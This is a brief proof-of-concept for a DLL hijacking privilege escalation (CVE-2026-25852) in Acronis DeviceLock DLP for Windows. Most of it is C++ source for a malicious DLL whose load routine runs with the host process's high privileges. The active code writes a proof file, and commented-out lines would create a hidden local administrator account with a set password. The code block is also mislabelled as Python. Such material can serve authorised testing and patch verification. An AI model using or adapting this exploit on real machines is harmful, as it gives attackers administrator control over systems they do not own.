Local privilege escalation due to DLL hijacking vulnerability. The following products are affected: Acronis DeviceLock DLP (Windows) before build 9.0.93212.
The following code is for security research and authorized testing only.
python
// poc_dll.cpp
// Generic DLL Hijacking PoC for CVE-2026-25852
// Compile: mingw32-gcc -shared -o malicious.dll poc_dll.cpp
#include <windows.h>
#include <stdlib.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
// Code executed when the DLL is loaded by the vulnerable process
// Since the process runs with high privileges, this code runs with high privileges.
// Example: Create a new administrative user (Privilege Escalation)
// system("net user poc_user P@ssw0rd123! /add");
// system("net localgroup administrators poc_user /add");
// Example: Write a file to prove execution (Safe for testing)
HANDLE hFile = CreateFileA("C:\\temp\\cve_2026_25852_poc.txt", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile != INVALID_HANDLE_VALUE) {
const char* data = "CVE-2026-25852 Exploited Successfully.";
DWORD bytesWritten;
WriteFile(hFile, data, strlen(data), &bytesWritten, NULL);
CloseHandle(hFile);
}
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}